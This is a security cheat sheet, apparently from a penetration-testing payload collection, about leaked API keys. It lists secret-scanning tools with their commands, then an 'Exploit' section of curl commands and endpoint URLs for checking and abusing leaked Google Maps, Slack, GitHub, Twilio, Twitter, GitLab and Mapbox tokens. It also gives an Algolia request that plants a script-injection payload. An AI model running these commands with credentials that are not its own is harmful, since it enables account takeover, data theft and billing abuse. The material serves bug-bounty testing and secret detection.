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API Key Leaks

The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.

Summary

Tools

  • momenbasel/KeyFinder - is a tool that let you find keys while surfing the web
  • streaak/keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
  • trufflesecurity/truffleHog - Find credentials all over the place 
    ## Scan a Github Organization
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity

## Scan a GitHub Repository, its Issues and Pull Requests
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments

## Scan a Docker image for verified secrets
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
  • aquasecurity/trivy - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
  • projectdiscovery/nuclei-templates - Use these templates to test an API token against many API service endpoints 
    nuclei -t token-spray/ -var token=token_list.txt
  • blacklanternsecurity/badsecrets - A library for detecting known or weak secrets on across many platforms 
    python examples/cli.py --url http://example.com/contains_bad_secret.html
python examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspx
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/
  • mazen160/secrets-patterns-db - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
  • d0ge/sign-saboteur - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens

Exploit

The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.

Google Maps

Use : https://github.com/ozguralp/gmapsapiscanner/

Name Endpoint
Static Maps https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE
Streetview https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE
Embed https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE
Directions https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE
Geocoding https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE
Distance Matrix https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE
Find Place from Text https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE
Autocomplete https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE
Elevation https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE
Timezone https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=KEY_HERE
Roads https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795
Geolocate https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE

Impact:

  • Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
  • Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account

Algolia

curl --request PUT \
  --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
  --header 'content-type: application/json' \
  --header 'x-algolia-api-key: <example-key>' \
  --header 'x-algolia-application-id: <example-application-id>' \
  --data '{"highlightPreTag": "<script>alert(1);</script>"}'

Slack API Token

curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"

Facebook Access Token

curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2

Github client id and client secret

curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'

Twilio Account_sid and Auth token

curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN

Twitter API Secret

curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'

Twitter Bearer Token

curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'

Gitlab Personal Access Token

curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"

HockeyApp API Token

curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4

Mapbox API Token

A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is sk, jackpot. If it's pk or tk, it's not worth your time.

  • Check token validity: curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
  • Get list of all tokens associated with an account (only works if the token is a Secret Token (sk), and has the appropriate scope): curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"

References